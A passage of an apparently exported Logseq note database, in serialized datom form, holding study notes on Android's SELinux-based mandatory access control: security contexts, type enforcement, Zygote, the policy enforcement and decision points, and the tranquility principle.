controls:logseq____",536874665]],[logseq____"^15logseq____",[551,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[551,logseq____"^Flogseq____",589,536874665]],[logseq____"^15logseq____",[551,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[551,logseq____"^Vlogseq____",593,536874665]],[logseq____"^15logseq____",[551,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[551,logseq____"^;logseq____",logseq____"~u67b9e0d3-629c-4630-87df-a568965028celogseq____",536874665]],[logseq____"^15logseq____",[552,logseq____"^Qlogseq____",logseq____"Symlinks not resolved if created by apps or shelllogseq____",536874665]],[logseq____"^15logseq____",[552,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[552,logseq____"^Flogseq____",610,536874665]],[logseq____"^15logseq____",[552,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[552,logseq____"^Vlogseq____",551,536874665]],[logseq____"^15logseq____",[552,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[552,logseq____"^;logseq____",logseq____"~u67b9e0d3-e041-4df0-96ce-f08561c8b9fdlogseq____",536874665]],[logseq____"^15logseq____",[553,logseq____"^Qlogseq____",logseq____"Policy must give Zygote higher privileges to be able to load other processeslogseq____",536874665]],[logseq____"^15logseq____",[553,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[553,logseq____"^Flogseq____",619,536874665]],[logseq____"^15logseq____",[553,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[553,logseq____"^Vlogseq____",554,536874665]],[logseq____"^15logseq____",[553,logseq____"^Ulogseq____",549,536874792]],[logseq____"^15logseq____",[553,logseq____"^;logseq____",logseq____"~u67b9e0d3-d62b-4f78-9d07-3d0cc6a71212logseq____",536874665]],[logseq____"^15logseq____",[554,logseq____"^Qlogseq____",logseq____"### Zygote\\nid:: 67b9dad0-a9f5-436b-9148-4d75b1feb8c1logseq____",536874665]],[logseq____"^15logseq____",[554,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[554,logseq____"^Flogseq____",559,536874665]],[logseq____"^15logseq____",[554,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[554,logseq____"^Vlogseq____",613,536874665]],[logseq____"^15logseq____",[554,logseq____"^Ulogseq____",549,536874792]],[logseq____"^15logseq____",[554,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b9dad0-a9f5-436b-9148-4d75b1feb8c1logseq____",logseq____"^17logseq____",3],536874665]],[logseq____"^15logseq____",[554,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536874665]],[logseq____"^15logseq____",[554,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b9dad0-a9f5-436b-9148-4d75b1feb8c1logseq____"],536874665]],[logseq____"^15logseq____",[554,logseq____"^;logseq____",logseq____"~u67b9dad0-a9f5-436b-9148-4d75b1feb8c1logseq____",536874665]],[logseq____"^15logseq____",[555,logseq____"^Qlogseq____",logseq____"logseq____",536874665]],[logseq____"^15logseq____",[555,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[555,logseq____"^Flogseq____",584,536874665]],[logseq____"^15logseq____",[555,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[555,logseq____"^Vlogseq____",572,536874665]],[logseq____"^15logseq____",[555,logseq____"^Ulogseq____",549,536874792]],[logseq____"^15logseq____",[555,logseq____"^;logseq____",logseq____"~u67b9e0d3-1fa5-4bb0-84f0-f266ace570bdlogseq____",536874665]],[logseq____"^15logseq____",[556,logseq____"^Qlogseq____",logseq____"Request and enforce policy decisions from ((67b9d131-43db-4bf9-b977-55e6029219c7))logseq____",536874665]],[logseq____"^15logseq____",[556,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[556,logseq____"^Flogseq____",566,536874665]],[logseq____"^15logseq____",[556,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[556,logseq____"^Vlogseq____",566,536874665]],[logseq____"^15logseq____",[556,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[556,logseq____"^Hlogseq____",586,536874665]],[logseq____"^15logseq____",[556,logseq____"^;logseq____",logseq____"~u67b9e0d3-a42c-4ebf-a176-bc31761962f1logseq____",536874665]],[logseq____"^15logseq____",[557,logseq____"^Qlogseq____",logseq____"TOMOYO, grsecurity, AppArmorlogseq____",536874665]],[logseq____"^15logseq____",[557,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[557,logseq____"^Flogseq____",608,536874665]],[logseq____"^15logseq____",[557,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[557,logseq____"^Vlogseq____",594,536874665]],[logseq____"^15logseq____",[557,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[557,logseq____"^;logseq____",logseq____"~u67b9e0d3-2c5b-4d3d-a9c3-96e2c4fb115alogseq____",536874665]],[logseq____"^15logseq____",[558,logseq____"^Qlogseq____",logseq____"## Principle of Tranquilitylogseq____",536874665]],[logseq____"^15logseq____",[558,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[558,logseq____"^Flogseq____",613,536874665]],[logseq____"^15logseq____",[558,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[558,logseq____"^Vlogseq____",549,536874665]],[logseq____"^15logseq____",[558,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[558,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874665]],[logseq____"^15logseq____",[558,logseq____"^Jlogseq____",[],536874665]],[logseq____"^15logseq____",[558,logseq____"^;logseq____",logseq____"~u67b9e0d3-20b4-45e0-88f9-a2da4e63b76dlogseq____",536874665]],[logseq____"^15logseq____",[559,logseq____"^Qlogseq____",logseq____"### libselinuxlogseq____",536874665]],[logseq____"^15logseq____",[559,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[559,logseq____"^Flogseq____",587,536874665]],[logseq____"^15logseq____",[559,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[559,logseq____"^Vlogseq____",613,536874665]],[logseq____"^15logseq____",[559,logseq____"^Ulogseq____",549,536874792]],[logseq____"^15logseq____",[559,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536874665]],[logseq____"^15logseq____",[559,logseq____"^Jlogseq____",[],536874665]],[logseq____"^15logseq____",[559,logseq____"^;logseq____",logseq____"~u67b9e0d3-71cf-4c64-9864-0ff2d7202217logseq____",536874665]],[logseq____"^15logseq____",[560,logseq____"^Qlogseq____",logseq____"Request types for new objectslogseq____",536874665]],[logseq____"^15logseq____",[560,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[560,logseq____"^Flogseq____",595,536874665]],[logseq____"^15logseq____",[560,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[560,logseq____"^Vlogseq____",559,536874665]],[logseq____"^15logseq____",[560,logseq____"^Ulogseq____",549,536874792]],[logseq____"^15logseq____",[560,logseq____"^;logseq____",logseq____"~u67b9e0d3-f590-41b0-9e64-6b63e277b10dlogseq____",536874665]],[logseq____"^15logseq____",[561,logseq____"^Qlogseq____",logseq____"Subjects and objects may *not change* their security level once they have been instantiatedlogseq____",536874665]],[logseq____"^15logseq____",[561,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[561,logseq____"^Flogseq____",558,536874665]],[logseq____"^15logseq____",[561,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[561,logseq____"^Vlogseq____",558,536874665]],[logseq____"^15logseq____",[561,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[561,logseq____"^;logseq____",logseq____"~u67b9e0d3-ece9-4772-9096-ba2dcec23c94logseq____",536874665]],[logseq____"^15logseq____",[562,logseq____"^Qlogseq____",logseq____"type: type of objects and subjects (domian)logseq____",536874665]],[logseq____"^15logseq____",[562,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[562,logseq____"^Flogseq____",564,536874665]],[logseq____"^15logseq____",[562,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[562,logseq____"^Vlogseq____",589,536874665]],[logseq____"^15logseq____",[562,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[562,logseq____"^;logseq____",logseq____"~u67b9e0d3-3ddf-4988-92df-aa1f9b3c2aaalogseq____",536874665]],[logseq____"^15logseq____",[563,logseq____"^Qlogseq____",logseq____"*Decouple* policy decision and policy enforcementlogseq____",536874665]],[logseq____"^15logseq____",[563,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[563,logseq____"^Flogseq____",576,536874665]],[logseq____"^15logseq____",[563,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[563,logseq____"^Vlogseq____",599,536874665]],[logseq____"^15logseq____",[563,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[563,logseq____"^;logseq____",logseq____"~u67b9e0d3-bfba-414a-81c1-ad25030eb8e0logseq____",536874665]],[logseq____"^15logseq____",[564,logseq____"^Qlogseq____",logseq____"Security context: `user : role : type : security level`logseq____",536874665]],[logseq____"^15logseq____",[564,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[564,logseq____"^Flogseq____",589,536874665]],[logseq____"^15logseq____",[564,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[564,logseq____"^Vlogseq____",589,536874665]],[logseq____"^15logseq____",[564,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[564,logseq____"^;logseq____",logseq____"~u67b9e0d3-f407-41b3-a800-5e2aa8ceb2aflogseq____",536874665]],[logseq____"^15logseq____",[565,logseq____"^Qlogseq____",logseq____"Fail-safe defaults (SIDs: Initial Security Identifiers): `file_contexts`, `property_contexts`, `service_contexts`, `initial_sids`, `initial_sid_contexts`logseq____",536874665]],[logseq____"^15logseq____",[565,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[565,logseq____"^Flogseq____",575,536874665]],[logseq____"^15logseq____",[565,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[565,logseq____"^Vlogseq____",593,536874665]],[logseq____"^15logseq____",[565,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[565,logseq____"^;logseq____",logseq____"~u67b9e0d3-f9a1-4c71-befd-8253dcc3df42logseq____",536874665]],[logseq____"^15logseq____",[566,logseq____"^Qlogseq____",logseq____"### Object Manager (PEP)\\nid:: 67b9d114-bc46-411a-8eb9-2f164996774elogseq____",536874665]],[logseq____"^15logseq____",[566,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[566,logseq____"^Flogseq____",563,536874665]],[logseq____"^15logseq____",[566,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[566,logseq____"^Vlogseq____",599,536874665]],[logseq____"^15logseq____",[566,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[566,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b9d114-bc46-411a-8eb9-2f164996774elogseq____",logseq____"^17logseq____",3],536874665]],[logseq____"^15logseq____",[566,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536874665]],[logseq____"^15logseq____",[566,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b9d114-bc46-411a-8eb9-2f164996774elogseq____"],536874665]],[logseq____"^15logseq____",[566,logseq____"^;logseq____",logseq____"~u67b9d114-bc46-411a-8eb9-2f164996774elogseq____",536874665]],[logseq____"^15logseq____",[567,logseq____"^Qlogseq____",logseq____"Android relies on OS to enforce sandboxing based on UIDslogseq____",536874665]],[logseq____"^15logseq____",[567,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[567,logseq____"^Flogseq____",609,536874665]],[logseq____"^15logseq____",[567,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[567,logseq____"^Vlogseq____",609,536874665]],[logseq____"^15logseq____",[567,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[567,logseq____"^;logseq____",logseq____"~u67b9e0d3-ecef-484d-88e9-45152d8c7a33logseq____",536874665]],[logseq____"^15logseq____",[568,logseq____"^Qlogseq____",logseq____"Values (strings) assigned by ((67b9d114-bc46-411a-8eb9-2f164996774e)) (semantic of ((67b9d114-bc46-411a-8eb9-2f164996774e)) and ((67b9d131-43db-4bf9-b977-55e6029219c7))must be synced)logseq____",536874665]],[logseq____"^15logseq____",[568,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[568,logseq____"^Flogseq____",592,536874665]],[logseq____"^15logseq____",[568,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[568,logseq____"^Vlogseq____",589,536874665]],[logseq____"^15logseq____",[568,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[568,logseq____"^Hlogseq____",566,536874665]],[logseq____"^15logseq____",[568,logseq____"^Hlogseq____",586,536874665]],[logseq____"^15logseq____",[568,logseq____"^;logseq____",logseq____"~u67b9e0d3-29dd-47f1-b105-6b6548755ba1logseq____",536874665]],[logseq____"^15logseq____",[569,logseq____"^Qlogseq____",logseq____"*Strong* tranquility: security levels do not change *during the lifetime* of the systemlogseq____",536874665]],[logseq____"^15logseq____",[569,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[569,logseq____"^Flogseq____",561,536874665]],[logseq____"^15logseq____",[569,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[569,logseq____"^Vlogseq____",558,536874665]],[logseq____"^15logseq____",[569,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[569,logseq____"^;logseq____",logseq____"~u67b9e0d3-92cd-49e9-8809-9dfd14c06582logseq____",536874665]],[logseq____"^15logseq____",[570,logseq____"^Qlogseq____",logseq____"Allow-listing (only allow if rule is defined)logseq____",536874665]],[logseq____"^15logseq____",[570,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[570,logseq____"^Flogseq____",616,536874665]],[logseq____"^15logseq____",[570,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[570,logseq____"^Vlogseq____",617,536874665]],[logseq____"^15logseq____",[570,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[570,logseq____"^;logseq____",logseq____"~u67b9e0d3-50bb-47ff-91d2-f4e200912778logseq____",536874665]],[logseq____"^15logseq____",[571,logseq____"^Qlogseq____",logseq____"Integrated into Zygote PackageManagerService etc.logseq____",536874665]],[logseq____"^15logseq____",[571,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[571,logseq____"^Flogseq____",621,536874665]],[logseq____"^15logseq____",[571,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[571,logseq____"^Vlogseq____",593,536874665]],[logseq____"^15logseq____",[571,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[571,logseq____"^;logseq____",logseq____"~u67b9e0d3-f20d-4f1a-b927-53929bedeb9clogseq____",536874665]],[logseq____"^15logseq____",[572,logseq____"^Qlogseq____",logseq____"### Dynamic Domain Transitionlogseq____",536874665]],[logseq____"^15logseq____",[572,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[572,logseq____"^Flogseq____",554,536874665]],[logseq____"^15logseq____",[572,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[572,logseq____"^Vlogseq____",613,536874665]],[logseq____"^15logseq____",[572,logseq____"^Ulogseq____",549,536874792]],[logseq____"^15logseq____",[572,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536874665]],[logseq____"^15logseq____",[572,logseq____"^Jlogseq____",[],536874665]],[logseq____"^15logseq____",[572,logseq____"^;logseq____",logseq____"~u67b9e0d3-266b-48df-bdcb-edcf7ee41bcalogseq____",536874665]],[logseq____"^15logseq____",[573,logseq____"^Qlogseq____",logseq____"Needs to check which process wants to set the type (Only system server process and ((67b8b44a-6c31-4d6b-9636-36ff5e0010d0)) should be allowed)logseq____",536874665]],[logseq____"^15logseq____",[573,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[573,logseq____"^Flogseq____",553,536874665]],[logseq____"^15logseq____",[573,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[573,logseq____"^Vlogseq____",554,536874665]],[logseq____"^15logseq____",[573,logseq____"^Ulogseq____",470,536874792]],[logseq____"^15logseq____",[573,logseq____"^Ulogseq____",549,536874792]],[logseq____"^15logseq____",[573,logseq____"^Hlogseq____",470,536874665]],[logseq____"^15logseq____",[573,logseq____"^;logseq____",logseq____"~u67b9e0d3-4a07-487c-b7e7-49a908fa1a07logseq____",536874665]],[logseq____"^15logseq____",[574,logseq____"^Qlogseq____",logseq____"writes limited: `/system` only allowed for recovery; `rootfs` is read-only, no file execution out of rootfs or system-partitionlogseq____",536874665]],[logseq____"^15logseq____",[574,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[574,logseq____"^Flogseq____",551,536874665]],[logseq____"^15logseq____",[574,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[574,logseq____"^Vlogseq____",551,536874665]],[logseq____"^15logseq____",[574,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[574,logseq____"^;logseq____",logseq____"~u67b9e0d3-748d-458d-b1f6-6c7e033a26aelogseq____",536874665]],[logseq____"^15logseq____",[575,logseq____"^Qlogseq____",logseq____"Files stored in Android reference policy: `logseq____<AOSPlogseq____>/system/sepolicy`logseq____",536874665]],[logseq____"^15logseq____",[575,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[575,logseq____"^Flogseq____",591,536874665]],[logseq____"^15logseq____",[575,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[575,logseq____"^Vlogseq____",593,536874665]],[logseq____"^15logseq____",[575,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[575,logseq____"^;logseq____",logseq____"~u67b9e0d3-7797-4a4c-aef8-94256fc56eaclogseq____",536874665]],[logseq____"^15logseq____",[576,logseq____"^Qlogseq____",logseq____"Checks syscalls for access permissions using ((67b9ce96-c1d1-461c-b0b4-9bb8de08615d)) LSM Modulelogseq____",536874665]],[logseq____"^15logseq____",[576,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[576,logseq____"^Flogseq____",550,536874665]],[logseq____"^15logseq____",[576,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[576,logseq____"^Vlogseq____",599,536874665]],[logseq____"^15logseq____",[576,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[576,logseq____"^Hlogseq____",593,536874665]],[logseq____"^15logseq____",[576,logseq____"^;logseq____",logseq____"~u67b9e0d3-dd5c-4836-b970-ca7cc4181678logseq____",536874665]],[logseq____"^15logseq____",[577,logseq____"^Qlogseq____",logseq____"Installed or `system_server` can only write files necessary for operation (not whole fs)logseq____",536874665]],[logseq____"^15logseq____",[577,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[577,logseq____"^Flogseq____",622,536874665]],[logseq____"^15logseq____",[577,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[577,logseq____"^Vlogseq____",551,536874665]],[logseq____"^15logseq____",[577,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[577,logseq____"^;logseq____",logseq____"~u67b9e0d3-2a85-42e3-8f20-03a60b2b486alogseq____",536874665]],[logseq____"^15logseq____",[578,logseq____"^Qlogseq____",logseq____"Security policies and enforcement based on *type enforcement*logseq____",536874665]],[logseq____"^15logseq____",[578,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[578,logseq____"^Flogseq____",571,536874665]],[logseq____"^15logseq____",[578,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[578,logseq____"^Vlogseq____",593,536874665]],[logseq____"^15logseq____",[578,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[578,logseq____"^;logseq____",logseq____"~u67b9e0d3-0d10-40f5-9358-7e86d5c7b719logseq____",536874665]],[logseq____"^15logseq____",[579,logseq____"^Qlogseq____",logseq____"role: Group types (processes/domains) for RBAClogseq____",536874665]],[logseq____"^15logseq____",[579,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[579,logseq____"^Flogseq____",562,536874665]],[logseq____"^15logseq____",[579,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[579,logseq____"^Vlogseq____",589,536874665]],[logseq____"^15logseq____",[579,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[579,logseq____"^;logseq____",logseq____"~u67b9e0d3-5564-4d30-afae-a89aa9cbb2d3logseq____",536874665]],[logseq____"^15logseq____",[580,logseq____"^Qlogseq____",logseq____"Responsible for starting processeslogseq____",536874665]],[logseq____"^15logseq____",[580,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[580,logseq____"^Flogseq____",554,536874665]],[logseq____"^15logseq____",[580,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[580,logseq____"^Vlogseq____",554,536874665]],[logseq____"^15logseq____",[580,logseq____"^Ulogseq____",549,536874792]],[logseq____"^15logseq____",[580,logseq____"^;logseq____",logseq____"~u67b9e0d3-9803-40a6-acb6-50a33b9f812blogseq____",536874665]],[logseq____"^15logseq____",[581,logseq____"^Qlogseq____",logseq____"Level-based MAC:logseq____",536874665]],[logseq____"^15logseq____",[581,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[581,logseq____"^Flogseq____",618,536874665]],[logseq____"^15logseq____",[581,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[581,logseq____"^Vlogseq____",618,536874665]],[logseq____"^15logseq____",[581,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[581,logseq____"^;logseq____",logseq____"~u67b9e0d3-f2ef-49ef-95f7-66d13434b0d2logseq____",536874665]],[logseq____"^15logseq____",[582,logseq____"^Qlogseq____",logseq____"Integrated via JNI (Java Native Interface)logseq____",536874665]],[logseq____"^15logseq____",[582,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[582,logseq____"^Flogseq____",597,536874665]],[logseq____"^15logseq____",[582,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[582,logseq____"^Vlogseq____",559,536874665]],[logseq____"^15logseq____",[582,logseq____"^Ulogseq____",549,536874792]],[logseq____"^15logseq____",[582,logseq____"^;logseq____",logseq____"~u67b9e0d3-4c07-46c0-aaa6-71ac1120b6b6logseq____",536874665]],[logseq____"^15logseq____",[583,logseq____"^Qlogseq____",logseq____"### As Reference Monitorlogseq____",536874665]],[logseq____"^15logseq____",[583,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[583,logseq____"^Flogseq____",551,536874665]],[logseq____"^15logseq____",[583,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[583,logseq____"^Vlogseq____",593,536874665]],[logseq____"^15logseq____",[583,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[583,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536874665]],[logseq____"^15logseq____",[583,logseq____"^Jlogseq____",[],536874665]],[logseq____"^15logseq____",[583,logseq____"^;logseq____",logseq____"~u67b9e0d3-2af9-4cbb-8858-9cfbd0b5790flogseq____",536874665]],[logseq____"^15logseq____",[584,logseq____"^Qlogseq____",logseq____"Only allowed in kernel domain and for ((67b9dad0-a9f5-436b-9148-4d75b1feb8c1))logseq____",536874665]],[logseq____"^15logseq____",[584,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[584,logseq____"^Flogseq____",603,536874665]],[logseq____"^15logseq____",[584,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[584,logseq____"^Vlogseq____",572,536874665]],[logseq____"^15logseq____",[584,logseq____"^Ulogseq____",549,536874792]],[logseq____"^15logseq____",[584,logseq____"^Ulogseq____",554,536874792]],[logseq____"^15logseq____",[584,logseq____"^Hlogseq____",554,536874665]],[logseq____"^15logseq____",[584,logseq____"^;logseq____",logseq____"~u67b9e0d3-aa0c-4eca-8a53-9fe459aff2f8logseq____",536874665]],[logseq____"^15logseq____",[585,logseq____"^Qlogseq____",logseq____"Non-bypassable: ((67b9d012-f86b-40f5-bca0-8abc59b48214)) partly resides in Kernel, mandatory LSM hookslogseq____",536874769]],[logseq____"^15logseq____",[585,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[585,logseq____"^Flogseq____",583,536874665]],[logseq____"^15logseq____",[585,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[585,logseq____"^Vlogseq____",583,536874665]],[logseq____"^15logseq____",[585,logseq____"^Ulogseq____",549,536874738]],[logseq____"^15logseq____",[585,logseq____"^Ulogseq____",599,536874738]],[logseq____"^15logseq____",[585,logseq____"^?logseq____",[logseq____"^ logseq____"],536874769]],[logseq____"^15logseq____",[585,logseq____"^Hlogseq____",599,536874769]],[logseq____"^15logseq____",[585,logseq____"^;logseq____",logseq____"~u67b9e0d3-c9e6-458e-9eda-cab9ef3c64f5logseq____",536874665]],[logseq____"^15logseq____",[586,logseq____"^Qlogseq____",logseq____"### Security Server (PDP)\\nid:: 67b9d131-43db-4bf9-b977-55e6029219c7logseq____",536874665]],[logseq____"^15logseq____",[586,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[586,logseq____"^Flogseq____",566,536874665]],[logseq____"^15logseq____",[586,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[586,logseq____"^Vlogseq____",599,536874665]],[logseq____"^15logseq____",[586,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[586,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b9d131-43db-4bf9-b977-55e6029219c7logseq____",logseq____"^17logseq____",3],536874665]],[logseq____"^15logseq____",[586,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536874665]],[logseq____"^15logseq____",[586,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b9d131-43db-4bf9-b977-55e6029219c7logseq____"],536874665]],[logseq____"^15logseq____",[586,logseq____"^;logseq____",logseq____"~u67b9d131-43db-4bf9-b977-55e6029219c7logseq____",536874665]],[logseq____"^15logseq____",[587,logseq____"^Qlogseq____",logseq____"Object managers concerned with user-space objects over kernel-spacelogseq____",536874665]],[logseq____"^15logseq____",[587,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[587,logseq____"^Flogseq____",613,536874665]],[logseq____"^15logseq____",[587,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[587,logseq____"^Vlogseq____",613,536874665]],[logseq____"^15logseq____",[587,logseq____"^Ulogseq____",549,536874792]],[logseq____"^15logseq____",[587,logseq____"^;logseq____",logseq____"~u67b9e0d3-f949-4a5c-83e5-09ffce2fa9b7logseq____",536874665]],[logseq____"^15logseq____",[588,logseq____"^Qlogseq____",logseq____"Subjects and objects *labeled with security context*logseq____",536874665]],[logseq____"^15logseq____",[588,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[588,logseq____"^Flogseq____",581,536874665]],[logseq____"^15logseq____",[588,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[588,logseq____"^Vlogseq____",581,536874665]],[logseq____"^15logseq____",[588,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[588,logseq____"^;logseq____",logseq____"~u67b9e0d3-3aac-4628-960b-2dcd65219b0elogseq____",536874665]],[logseq____"^15logseq____",[589,logseq____"^Qlogseq____",logseq____"### Policy Conceptlogseq____",536874665]],[logseq____"^15logseq____",[589,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[589,logseq____"^Flogseq____",617,536874665]],[logseq____"^15logseq____",[589,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[589,logseq____"^Vlogseq____",593,536874665]],[logseq____"^15logseq____",[589,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[589,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536874665]],[logseq____"^15logseq____",[589,logseq____"^Jlogseq____",[],536874665]],[logseq____"^15logseq____",[589,logseq____"^;logseq____",logseq____"~u67b9e0d3-0213-406e-96fd-09e6298715fblogseq____",536874665]],[logseq____"^15logseq____",[590,logseq____"^Qlogseq____",logseq____"Vulnerable to Kernel-space 